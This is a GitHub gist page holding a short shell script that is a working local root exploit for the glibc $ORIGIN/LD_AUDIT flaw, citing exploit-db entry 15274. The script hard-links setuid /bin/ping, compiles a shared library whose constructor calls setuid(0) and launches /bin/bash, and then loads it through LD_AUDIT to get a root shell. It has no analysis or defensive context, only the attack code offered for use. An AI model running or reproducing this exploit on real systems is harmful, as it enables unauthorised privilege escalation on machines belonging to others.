Skip to content

Instantly share code, notes, and snippets.

@chao-he
Created July 18, 2014 11:01
Show Gist options
  • Save chao-he/b94ed66b75c2d61d9744 to your computer and use it in GitHub Desktop.
Save chao-he/b94ed66b75c2d61d9744 to your computer and use it in GitHub Desktop.
#!/bin/sh
# see: http://www.exploit-db.com/exploits/15274/
mkdir /tmp/exploit
ln /bin/ping /tmp/exploit/target
exec 3< /tmp/exploit/target
rm -rf /tmp/exploit/
cat >payload.c <<EOF
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
EOF
gcc -w -fPIC -shared -o /tmp/exploit payload.c
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment